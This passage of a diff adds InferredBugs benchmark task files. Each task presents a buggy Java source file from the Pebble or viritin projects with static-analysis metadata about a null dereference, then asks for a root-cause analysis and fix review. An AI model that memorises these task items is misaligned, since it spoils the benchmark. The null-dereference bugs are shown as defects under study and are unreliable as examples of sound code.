+        Object object = node.evaluate(self, context);
+
+        Object result = null;
+
+        Object[] argumentValues = null;
+
+        Member member = object == null ? null : memberCache.get(object.getClass());
+
+        if (object != null && member == null) {
+
+            /*
+             * If, and only if, no arguments were provided does it make sense to
+             * check maps/arrays/lists
+             */
+            if (args == null) {
+
+                // first we check maps
+                if (object instanceof Map && ((Map<?, ?>) object).containsKey(attributeName)) {
+                    return ((Map<?, ?>) object).get(attributeName);
+                }
+
+                try {
+
+                    // then we check arrays
+                    if (object instanceof Object[]) {
+                        Integer key = Integer.valueOf(attributeName);
+                        Object[] arr = ((Object[]) object);
+                        return arr[key];
+                    }
+
+                    // then lists
+                    if (object instanceof List) {
+                        Integer key = Integer.valueOf(attributeName);
+                        @SuppressWarnings("unchecked")
+                        List<Object> list = (List<Object>) object;
+                        return list.get(key);
+                    }
+                } catch (NumberFormatException ex) {
+                    // do nothing
+                }
+
+            }
+
+            /*
+             * turn args into an array of types and an array of values in order
+             * to use them for our reflection calls
+             */
+            argumentValues = getArgumentValues(self, context);
+            Class<?>[] argumentTypes = new Class<?>[argumentValues.length];
+
+            for (int i = 0; i < argumentValues.length; i++) {
+                argumentTypes[i] = argumentValues[i].getClass();
+            }
+
+            member = reflect(object, attributeName, argumentTypes);
+            if (member != null) {
+                memberCache.put(object.getClass(), member);
+            }
+
+        }
+
+        if (object != null && member != null) {
+            if (argumentValues == null) {
+                argumentValues = getArgumentValues(self, context);
+            }
+            result = invokeMember(object, member, argumentValues);
+        } else if (context.isStrictVariables()) {
+            throw new AttributeNotFoundException(
+                    null,
+                    String.format(
+                            "Attribute [%s] of [%s] does not exist or can not be accessed and strict variables is set to true.",
+                            attributeName, object.getClass().getName()));
+        }
+        return result;
+
+    }
+
+    /**
+     * Invoke the "Member" that was found via reflection.
+     * 
+     * @param object
+     * @param member
+     * @param argumentValues
+     * @return
+     */
+    private Object invokeMember(Object object, Member member, Object[] argumentValues) {
+        Object result = null;
+        try {
+            if (member != null) {
+
+                if (member instanceof Method) {
+                    result = ((Method) member).invoke(object, argumentValues);
+                } else if (member instanceof Field) {
+                    result = ((Field) member).get(object);
+                }
+            }
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+            e.printStackTrace();
+
+        }
+        return result;
+    }
+
+    /**
+     * Fully evaluates the individual arguments.
+     * 
+     * @param self
+     * @param context
+     * @return
+     * @throws PebbleException
+     */
+    private Object[] getArgumentValues(PebbleTemplateImpl self, EvaluationContext context) throws PebbleException {
+
+        Object[] argumentValues;
+
+        if (this.args == null) {
+            argumentValues = new Object[0];
+        } else {
+            List<PositionalArgumentNode> args = this.args.getPositionalArgs();
+
+            argumentValues = new Object[args.size()];
+
+            int index = 0;
+            for (PositionalArgumentNode arg : args) {
+                Object argumentValue = arg.getValueExpression().evaluate(self, context);
+                argumentValues[index] = argumentValue;
+                index++;
+            }
+        }
+        return argumentValues;
+    }
+
+    /**
+     * Performs the actual reflection to obtain a "Member" from a class.
+     * 
+     * @param object
+     * @param attributeName
+     * @param parameterTypes
+     * @return
+     */
+    private Member reflect(Object object, String attributeName, Class<?>[] parameterTypes) {
+
+        Class<?> clazz = object.getClass();
+
+        boolean found = false;
+        Member result = null;
+
+        // capitalize first letter of attribute for the following attempts
+        String attributeCapitalized = Character.toUpperCase(attributeName.charAt(0)) + attributeName.substring(1);
+
+        // try {
+
+        // check get method
+        if (!found) {
+            try {
+                result = clazz.getMethod("get" + attributeCapitalized, parameterTypes);
+                found = true;
+            } catch (NoSuchMethodException | SecurityException e) {
+            }
+        }
+
+        // check is method
+        if (!found) {
+            try {
+                result = clazz.getMethod("is" + attributeCapitalized, parameterTypes);
+                found = true;
+            } catch (NoSuchMethodException | SecurityException e) {
+            }
+        }
+
+        // check has method
+        if (!found) {
+            try {
+                result = clazz.getMethod("has" + attributeCapitalized, parameterTypes);
+                found = true;
+            } catch (NoSuchMethodException | SecurityException e) {
+            }
+        }
+
+        // check if attribute is a public method
+        if (!found) {
+            try {
+                result = clazz.getMethod(attributeName, parameterTypes);
+                found = true;
+            } catch (NoSuchMethodException | SecurityException e) {
+            }
+        }
+
+        // public field
+        if (!found) {
+            try {
+                result = clazz.getField(attributeName);
+                found = true;
+            } catch (NoSuchFieldException | SecurityException e) {
+            }
+        }
+
+        if (result != null) {
+            ((AccessibleObject) result).setAccessible(true);
+        }
+
+        return result;
+    }
+
+    @Override
+    public void accept(NodeVisitor visitor) {
+        visitor.visit(this);
+    }
+
+    public Expression<?> getNode() {
+        return node;
+    }
+
+    public String getAttribute() {
+        return attributeName;
+    }
+
+    public ArgumentsNode getArgumentsNode() {
+        return args;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `object` last assigned on line 67 could be null and is dereferenced at line 138.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object GetAttributeExpression.evaluate(PebbleTemplateImpl,EvaluationContext)
+
+### Procedure Id:
+com.mitchellbosecke.pebble.node.expression.GetAttributeExpression.evaluate(com.mitchellbosecke.pebbl.ea3ace8a3da6872e4e16722fa2c0bde9
+
+### File:
+src/main/java/com/mitchellbosecke/pebble/node/expression/GetAttributeExpression.java
+
+### Key:
+GetAttributeExpression.java|evaluate|NULL_DEREFERENCE
+
+### Node Key:
+9b7e45bad8df1ec49cc7e79b720eea9a
+
+### Hash:
+f3677531c93c6c1b56c0ee7d9f45da9a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5028/instruction.md b/inferredbugs-5028/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3086108b589c20a5471dcd4dd318fa383605bf69
--- /dev/null
+++ b/inferredbugs-5028/instruction.md
@@ -0,0 +1,706 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** viritin
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 Matti Tahvonen.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vaadin.viritin;
+
+import com.vaadin.data.Container;
+import com.vaadin.data.Container.ItemSetChangeNotifier;
+import com.vaadin.data.Item;
+import com.vaadin.data.Property;
+import com.vaadin.data.util.AbstractContainer;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import org.apache.commons.beanutils.*;
+import org.apache.commons.collections.comparators.NullComparator;
+import org.apache.commons.collections.comparators.ReverseComparator;
+import org.apache.commons.lang3.ClassUtils;
+
+import java.util.*;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import org.apache.commons.beanutils.expression.DefaultResolver;
+import org.apache.commons.beanutils.expression.Resolver;
+
+/**
+ * A replacement for BeanItemContainer from the core
+ * <p>
+ * The ListContainer is rather similar to the cores BeanItemContainer, but has
+ * better typed API, much smaller memory overhead (practically no overhead if
+ * data is given as List) and also otherwise better performance.
+ *
+ * @param <T> the type of beans in the backed list
+ */
+public class ListContainer<T> extends AbstractContainer implements
+        Container.Indexed, Container.Sortable, ItemSetChangeNotifier {
+
+    private List<T> backingList;
+    private List<String> properties;
+
+    public ListContainer(Collection<T> backingList) {
+        setCollection(backingList);
+    }
+
+    public ListContainer(Class<T> type, Collection<T> backingList) {
+        if (type != null) {
+            dynaClass = WrapDynaClass.createDynaClass(type);
+        }
+        setCollection(backingList);
+    }
+
+    public final void setCollection(Collection<T> backingList1) {
+        if (backingList1 instanceof List) {
+            this.backingList = (List<T>) backingList1;
+        } else {
+            this.backingList = new ArrayList<T>(backingList1);
+        }
+        fireItemSetChange();
+    }
+
+    public ListContainer(Class<T> type) {
+        backingList = new ArrayList<T>();
+        dynaClass = WrapDynaClass.createDynaClass(type);
+    }
+
+    protected List<T> getBackingList() {
+        return backingList;
+    }
+
+    private transient WrapDynaClass dynaClass;
+
+    private WrapDynaClass getDynaClass() {
+        if (dynaClass == null && !backingList.isEmpty()) {
+            return getDynaClass(backingList.get(0));
+        }
+        return dynaClass;
+    }
+
+    private WrapDynaClass getDynaClass(Object reference) {
+        if (dynaClass == null && reference != null) {
+            dynaClass = WrapDynaClass.createDynaClass(reference.getClass());
+        }
+        return dynaClass;
+    }
+
+    @Override
+    public int indexOfId(Object itemId) {
+        return getBackingList().indexOf(itemId);
+    }
+
+    public int indexOf(T bean) {
+        return indexOfId(bean);
+    }
+
+    @Override
+    public T getIdByIndex(int index) {
+        return getBackingList().get(index);
+    }
+
+    @Override
+    public List<T> getItemIds(int startIndex, int numberOfItems) {
+        // Whooo!? Vaadin calls this method with numberOfItems == -1
+        if (numberOfItems < 0) {
+            throw new IllegalArgumentException();
+        }
+
+        return getBackingList().subList(startIndex, startIndex + numberOfItems);
+    }
+
+    @Override
+    public Object addItemAt(int index) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item addItemAt(int index, Object newItemId) throws UnsupportedOperationException {
+        backingList.add(index, (T) newItemId);
+        fireItemSetChange();
+        return getItem(newItemId);
+    }
+
+    @Override
+    public T nextItemId(Object itemId) {
+        int i = getBackingList().indexOf(itemId) + 1;
+        if (getBackingList().size() == i) {
+            return null;
+        }
+        return getBackingList().get(i);
+    }
+
+    @Override
+    public T prevItemId(Object itemId) {
+        int i = getBackingList().indexOf(itemId) - 1;
+        if (i < 0) {
+            return null;
+        }
+        return getBackingList().get(i);
+    }
+
+    @Override
+    public T firstItemId() {
+        return (getBackingList().isEmpty()) ? null : getBackingList().get(0);
+    }
+
+    @Override
+    public T lastItemId() {
+        return getBackingList().isEmpty() ? null : getBackingList().get(
+                getBackingList().size() - 1);
+    }
+
+    @Override
+    public boolean isFirstId(Object itemId) {
+        return itemId.equals(firstItemId());
+    }
+
+    @Override
+    public boolean isLastId(Object itemId) {
+        return itemId.equals(lastItemId());
+    }
+
+    @Override
+    public Object addItemAfter(Object previousItemId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item addItemAfter(Object previousItemId, Object newItemId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item getItem(Object itemId) {
+        if (itemId == null) {
+            return null;
+        }
+        return new DynaBeanItem<T>((T) itemId);
+    }
+
+    @Override
+    public Collection<String> getContainerPropertyIds() {
+        if (properties == null) {
+            if (getDynaClass() != null) {
+                ArrayList<String> props = new ArrayList<String>();
+                for (DynaProperty db : getDynaClass().getDynaProperties()) {
+                    if (db.getType() != null) {
+                        props.add(db.getName());
+                    } else {
+                        // type may be null in some cases
+                        Logger.getLogger(ListContainer.class.getName()).log(
+                                Level.FINE, "Type not detected for property {0}",
+                                db.getName());
+                    }
+                }
+                props.remove("class");
+                properties = props;
+            } else {
+                return Collections.EMPTY_LIST;
+            }
+        }
+        return properties;
+
+    }
+
+    @Override
+    public Collection<?> getItemIds() {
+        return getBackingList();
+    }
+
+    @Override
+    public Property getContainerProperty(Object itemId, Object propertyId) {
+        return getItem(itemId).getItemProperty(propertyId);
+    }
+
+    @Override
+    public Class<?> getType(Object propertyId) {
+        final String pName = propertyId.toString();
+        try {
+            final DynaProperty dynaProperty = getDynaClass().getDynaProperty(
+                    pName);
+            final Class<?> type = dynaProperty.getType();
+            if (type.isPrimitive()) {
+                // Vaadin can't handle primitive types in _all_ places, so use
+                // wrappers instead. FieldGroup works, but e.g. Table in _editable_
+                // mode fails for some reason
+                return ClassUtils.primitiveToWrapper(type);
+            }
+            return type;
+        } catch (Exception e) {
+            // If type can't be found via dynaClass, it is most likely 
+            // nested/indexed/mapped property
+            try {
+                return getNestedPropertyType(getDynaClass(), pName);
+            } catch (Exception ex) {
+                throw new RuntimeException(ex);
+            }
+        }
+    }
+
+    private static Resolver resolver = new DefaultResolver();
+
+    public static Class getNestedPropertyType(DynaClass bean, String name)
+            throws IllegalAccessException, InvocationTargetException,
+            NoSuchMethodException, ClassNotFoundException, NoSuchFieldException {
+        if (bean == null) {
+            // The type is not properly initilized yet, just leave it as generic
+            // Object
+            return Object.class;
+        }
+        // Resolve nested references
+        while (resolver.hasNested(name)) {
+            String next = resolver.next(name);
+            if (resolver.isIndexed(next) || resolver.isMapped(next)) {
+                String property = resolver.getProperty(next);
+                Class<?> clazz = Class.forName(bean.getName());
+                Class<?> detectTypeParameter = detectTypeParameter(clazz,
+                        property, resolver.isIndexed(name) ? 0 : 1);
+                bean = WrapDynaClass.createDynaClass(detectTypeParameter);
+                return getNestedPropertyType(bean, resolver.remove(name));
+            }
+            DynaProperty db = bean.getDynaProperty(next);
+            bean = WrapDynaClass.createDynaClass(db.getType());
+            name = resolver.remove(name);
+        }
+        if (resolver.isMapped(name) || resolver.isIndexed(name)) {
+            String property = resolver.getProperty(name);
+            Class<?> clazz = Class.forName(bean.getName());
+            return detectTypeParameter(clazz, property,
+                    resolver.isIndexed(name) ? 0 : 1);
+        }
+        Class<?> type;
+        DynaProperty dynaProperty = bean.getDynaProperty(name);
+        if (dynaProperty != null) {
+        	type = dynaProperty.getType();
+        } 
+        else { //happens for default methods
+        	Method method = obtainGetterOfProperty(bean, name);
+        	type = method.getReturnType();
+        }
+        if (type.isPrimitive() == true) {
+            // Vaadin can't handle primitive types in _all_ places, so use
+            // wrappers instead. FieldGroup works, but e.g. Table in _editable_
+            // mode fails for some reason
+            return ClassUtils.primitiveToWrapper(type);
+        }
+        return type;
+    }
+    
+    /**
+     * Explicitly resolves the getter bypassing commons.beanutils
+     * @param beanClass
+     * @param propertyName
+     * @return getter method of the property
+     * @throws ClassNotFoundException if class forName fails
+     * @throws NoSuchMethodException if there is no getter
+     * @throws SecurityException if there are constraints by the security manager
+     */
+    private static Method obtainGetterOfProperty(DynaClass beanClass, String propertyName) throws ClassNotFoundException, NoSuchMethodException, SecurityException {
+    	Class<?> clazz = Class.forName(beanClass.getName());
+    	return clazz.getMethod("get"+firstLetterUppercase(propertyName));
+    }
+    private static String firstLetterUppercase(String s) {
+    	return Character.toUpperCase(s.charAt(0)) + (s.length() > 1 ? s.substring(1) : "");
+    }
+
+    private static Class<?> detectTypeParameter(Class clazz, String name,
+            int idx) throws NoSuchFieldException {
+        Field declaredField = clazz.getDeclaredField(name);
+        Type genericType = declaredField.getGenericType();
+        if (genericType instanceof ParameterizedType) {
+            ParameterizedType parameterizedType = (ParameterizedType) genericType;
+            return (Class<?>) parameterizedType.getActualTypeArguments()[idx];
+        }
+        return Object.class;
+    }
+
+    @Override
+    public int size() {
+        return getBackingList().size();
+    }
+
+    @Override
+    public boolean containsId(Object itemId) {
+        return getBackingList().contains((T) itemId);
+    }
+
+    @Override
+    public Item addItem(Object itemId) throws UnsupportedOperationException {
+        backingList.add((T) itemId);
+        fireItemSetChange();
+        return getItem(itemId);
+    }
+
+    @Override
+    public Object addItem() throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeItem(Object itemId) throws UnsupportedOperationException {
+        final boolean remove = backingList.remove((T) itemId);
+        if (remove) {
+            fireItemSetChange();
+        }
+        return remove;
+    }
+
+    @Override
+    public boolean addContainerProperty(Object propertyId,
+            Class<?> type, Object defaultValue) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeContainerProperty(Object propertyId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeAllItems() throws UnsupportedOperationException {
+        backingList.clear();
+        fireItemSetChange();
+        return true;
+    }
+
+    public ListContainer addAll(Collection<T> beans) {
+        backingList.addAll(beans);
+        fireItemSetChange();
+        return this;
+    }
+
+    @Override
+    public void sort(Object[] propertyId, boolean[] ascending) {
+
+        // Grid in 7.4 may call this method with empty sorting instructions...
+        if (propertyId.length > 0) {
+            if (backingList instanceof SortableLazyList) {
+                // using with MGrid may end up here
+                SortableLazyList sll = (SortableLazyList) backingList;
+                sll.setSortProperty(propertyId[0].toString());
+                sll.setSortAscending(ascending[0]);
+                sll.reset();
+            } else {
+                Comparator<T> comparator = new PropertyComparator(propertyId,
+                        ascending);
+
+                Collections.sort(backingList, comparator);
+            }
+            fireItemSetChange();
+        }
+    }
+
+    @Override
+    public Collection<?> getSortableContainerPropertyIds() {
+        if (backingList instanceof SortableLazyList) {
+            // Assume SortableLazyList can sort by any Comparable property
+        } else if (backingList instanceof LazyList) {
+            // When using LazyList, don't support sorting by default
+            // as the sorting should most probably be done at backend call level
+            return Collections.emptySet();
+        }
+        final ArrayList<String> props = new ArrayList<String>();
+        for (Object a : getContainerPropertyIds()) {
+            DynaProperty db = getDynaClass().getDynaProperty(a.toString());
+            if (db != null && db.getType() != null && (db.getType().
+                    isPrimitive() || Comparable.class.isAssignableFrom(
+                            db.getType()))) {
+                props.add(db.getName());
+            }
+        }
+        return props;
+    }
+
+    public void addItemSetChangeListener(
+            Container.ItemSetChangeListener listener) {
+        super.addItemSetChangeListener(listener);
+    }
+
+    public void removeItemSetChangeListener(
+            Container.ItemSetChangeListener listener) {
+        super.removeItemSetChangeListener(listener);
+    }
+
+    public void addListener(Container.ItemSetChangeListener listener) {
+        super.addListener(listener);
+    }
+
+    public void removeListener(Container.ItemSetChangeListener listener) {
+        super.removeListener(listener);
+    }
+
+    /**
+     *
+     * Override point. Allows user to use custom comparators based on
+     * properties.
+     *
+     * @param property the property whose comparator is requested
+     * @return Comparator that will compare two objects based on a property
+     */
+    protected Comparator<T> getUnderlyingComparator(Object property) {
+        return new NullComparator();
+    }
+
+    /**
+     * Explicitly sets the property ids that should be reported by this
+     * container. Allows e.g. usage of "nested properties".
+     *
+     * @param properties the properties reported by this container
+     */
+    public void setContainerPropertyIds(String... properties) {
+        this.properties = Arrays.asList(properties);
+    }
+
+    @Override
+    public void fireItemSetChange() {
+        super.fireItemSetChange();
+    }
+
+    private class PropertyComparator implements Comparator<T> {
+
+        private final Object[] propertyId;
+        private final boolean[] ascending;
+
+        private PropertyComparator(Object[] propertyId, boolean[] ascending) {
+            this.propertyId = propertyId;
+            this.ascending = ascending;
+        }
+
+        @Override
+        public int compare(T o1, T o2) {
+            for (int i = 0; i < propertyId.length; i++) {
+                String currentProperty = propertyId[i].toString();
+                Comparator<T> currentComparator
+                        = new BeanComparator<T>(currentProperty,
+                                getUnderlyingComparator(currentProperty));
+
+                if (!ascending[i]) {
+                    currentComparator = new ReverseComparator(currentComparator);
+                }
+
+                int compare = currentComparator.compare(o1, o2);
+                if (compare != 0) {
+                    return compare;
+                }
+            }
+
+            return 0;
+        }
+    }
+
+    public class DynaBeanItem<T> implements Item {
+
+        private final Map<Object, DynaProperty> propertyIdToProperty = new HashMap<Object, DynaProperty>();
+
+        private class DynaProperty implements Property {
+
+            private final String propertyName;
+
+            public DynaProperty(String property) {
+                propertyName = property;
+            }
+
+            @Override
+            public Object getValue() {
+            	DynaBean dynaBean = getDynaBean();
+            	try {
+                    return dynaBean.get(propertyName);
+                } catch (Exception e) {
+                    try {
+                        return PropertyUtils.getProperty(bean, propertyName);
+                    } 
+                    catch (NestedNullException ex) {
+                        return null;
+                    } catch(java.lang.IndexOutOfBoundsException ex) {
+                        return null;
+                    } catch (IllegalAccessException ex) {
+                        throw new RuntimeException(ex);
+                    } catch (InvocationTargetException ex) {
+                        throw new RuntimeException(ex);
+                    } catch (NoSuchMethodException ex) {
+                    	Logger.getLogger(ListContainer.class.getName()).log(
+                                Level.FINE, "Trying default method fallback for property {0}",
+                                propertyName);
+                    }
+                }
+            	
+            	//fallback for default methods:
+            	Method method;
+				try {
+					method = obtainGetterOfProperty(dynaBean.getDynaClass(), propertyName);
+					return method.invoke(bean);
+				} catch (ReflectiveOperationException e) {
+					throw new RuntimeException(e);
+				} catch (SecurityException e) {
+					throw new RuntimeException(e);
+				} catch (IllegalArgumentException e) {
+					throw new RuntimeException(e);
+				}
+            }
+
+            @Override
+            public void setValue(Object newValue) throws Property.ReadOnlyException {
+                try {
+                    PropertyUtils.setProperty(bean, propertyName, newValue);
+                } catch (Exception ex) {
+                    throw new RuntimeException(ex);
+                }
+            }
+
+            @Override
+            public Class getType() {
+                return ListContainer.this.getType(propertyName);
+            }
+
+            @Override
+            public boolean isReadOnly() {
+                return getDynaClass().getPropertyDescriptor(propertyName).
+                        getWriteMethod() == null;
+            }
+
+            @Override
+            public void setReadOnly(boolean newStatus) {
+                throw new UnsupportedOperationException("Not supported yet.");
+            }
+
+        }
+
+        private final T bean;
+
+        private transient DynaBean db;
+
+        public DynaBeanItem(T bean) {
+            this.bean = bean;
+        }
+
+        public T getBean() {
+            return bean;
+        }
+
+        private DynaBean getDynaBean() {
+            if (db == null) {
+                try {
+                    db = new WrapDynaBean(bean, getDynaClass(bean));
+                } catch (Throwable e) {
+                    // Older version of beanutils is somehow available by the 
+                    // classloader! Probably tomee
+                    db = new WrapDynaBean(bean);
+                }
+            }
+            return db;
+        }
+
+        @Override
+        public Property getItemProperty(Object id) {
+            DynaProperty prop = propertyIdToProperty.get(id);
+            if (prop == null) {
+                prop = new DynaProperty(id.toString());
+                propertyIdToProperty.put(id, prop);
+            }
+            return prop;
+        }
+
+        @Override
+        public Collection<String> getItemPropertyIds() {
+            return ListContainer.this.getContainerPropertyIds();
+        }
+
+        @Override
+        public boolean addItemProperty(Object id, Property property) throws UnsupportedOperationException {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        @Override
+        public boolean removeItemProperty(Object id) throws UnsupportedOperationException {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getDynaClass(this)` could be null and is dereferenced at line 416.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Collection ListContainer.getSortableContainerPropertyIds()
+
+### Procedure Id:
+org.vaadin.viritin.ListContainer.getSortableContainerPropertyIds():java.util.Collection.6225e015b68a74464d47b5d9f506fcab
+
+### File:
+src/main/java/org/vaadin/viritin/ListContainer.java
+
+### Key:
+ListContainer.java|getSortableContainerPropertyIds|NULL_DEREFERENCE
+
+### Node Key:
+7e9fc31bc469440d6384630f8b346526
+
+### Hash:
+56a13e72aa9b1d7d313819d6c3eac504
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5029/instruction.md b/inferredbugs-5029/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0d0766324d572582fc9845bb2f81313e42c9888c
--- /dev/null
+++ b/inferredbugs-5029/instruction.md
@@ -0,0 +1,732 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** viritin
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 Matti Tahvonen.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vaadin.viritin;
+
+import com.vaadin.data.Container;
+import com.vaadin.data.Container.ItemSetChangeNotifier;
+import com.vaadin.data.Item;
+import com.vaadin.data.Property;
+import com.vaadin.data.util.AbstractContainer;
+import org.apache.commons.beanutils.*;
+import org.apache.commons.beanutils.expression.DefaultResolver;
+import org.apache.commons.beanutils.expression.Resolver;
+import org.apache.commons.collections.comparators.ComparableComparator;
+import org.apache.commons.collections.comparators.NullComparator;
+import org.apache.commons.collections.comparators.ReverseComparator;
+import org.apache.commons.lang3.ClassUtils;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * A replacement for BeanItemContainer from the core
+ * <p>
+ * The ListContainer is rather similar to the cores BeanItemContainer, but has
+ * better typed API, much smaller memory overhead (practically no overhead if
+ * data is given as List) and also otherwise better performance.
+ *
+ * @param <T> the type of beans in the backed list
+ */
+public class ListContainer<T> extends AbstractContainer implements
+        Container.Indexed, Container.Sortable, ItemSetChangeNotifier {
+
+    private static final long serialVersionUID = -6709228455051205922L;
+
+    private List<T> backingList;
+    private List<String> properties;
+
+    public ListContainer(Collection<? extends T> backingList) {
+        setCollection(backingList);
+    }
+
+    public ListContainer(Class<? extends T> type, Collection<? extends T> backingList) {
+        if (type != null) {
+            dynaClass = WrapDynaClass.createDynaClass(type);
+        }
+        setCollection(backingList);
+    }
+
+    public final void setCollection(Collection<? extends T> backingList1) {
+        if (backingList1 instanceof List<?>) {
+            this.backingList = (List<T>) backingList1;
+        } else {
+            this.backingList = new ArrayList<T>(backingList1); // Type parameter to keep NB happy
+        }
+        
+        fireItemSetChange();
+    }
+
+    public ListContainer(Class<? extends T> type) {
+        backingList = new ArrayList<>();
+        dynaClass = WrapDynaClass.createDynaClass(type);
+    }
+
+    public ListContainer(Class<? extends T> type, String... properties) {
+        this(type);
+        setContainerPropertyIds(properties);
+    }
+
+    protected List<T> getBackingList() {
+        return backingList;
+    }
+
+    private transient WrapDynaClass dynaClass;
+
+    private WrapDynaClass getDynaClass() {
+        if (dynaClass == null && !backingList.isEmpty()) {
+            return getDynaClass(backingList.get(0));
+        }
+        return dynaClass;
+    }
+
+    private WrapDynaClass getDynaClass(Object reference) {
+        if (dynaClass == null && reference != null) {
+            dynaClass = WrapDynaClass.createDynaClass(reference.getClass());
+        }
+        return dynaClass;
+    }
+
+    @Override
+    public int indexOfId(Object itemId) {
+        return getBackingList().indexOf(itemId);
+    }
+
+    public int indexOf(T bean) {
+        return indexOfId(bean);
+    }
+
+    @Override
+    public T getIdByIndex(int index) {
+        return getBackingList().get(index);
+    }
+
+    @Override
+    public List<T> getItemIds(int startIndex, int numberOfItems) {
+        // Whooo!? Vaadin calls this method with numberOfItems == -1
+        if (numberOfItems < 0) {
+            throw new IllegalArgumentException();
+        }
+
+        return getBackingList().subList(startIndex, startIndex + numberOfItems);
+    }
+
+    @Override
+    public Object addItemAt(int index) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item addItemAt(int index, Object newItemId) throws UnsupportedOperationException {
+        backingList.add(index, (T) newItemId);
+        fireItemSetChange();
+        return getItem(newItemId);
+    }
+
+    @Override
+    public T nextItemId(Object itemId) {
+        int i = getBackingList().indexOf(itemId) + 1;
+        if (getBackingList().size() == i) {
+            return null;
+        }
+        return getBackingList().get(i);
+    }
+
+    @Override
+    public T prevItemId(Object itemId) {
+        int i = getBackingList().indexOf(itemId) - 1;
+        if (i < 0) {
+            return null;
+        }
+        return getBackingList().get(i);
+    }
+
+    @Override
+    public T firstItemId() {
+        return (getBackingList().isEmpty()) ? null : getBackingList().get(0);
+    }
+
+    @Override
+    public T lastItemId() {
+        return getBackingList().isEmpty() ? null : getBackingList().get(
+                getBackingList().size() - 1);
+    }
+
+    @Override
+    public boolean isFirstId(Object itemId) {
+        return itemId.equals(firstItemId());
+    }
+
+    @Override
+    public boolean isLastId(Object itemId) {
+        return itemId.equals(lastItemId());
+    }
+
+    @Override
+    public Object addItemAfter(Object previousItemId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item addItemAfter(Object previousItemId, Object newItemId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public Item getItem(Object itemId) {
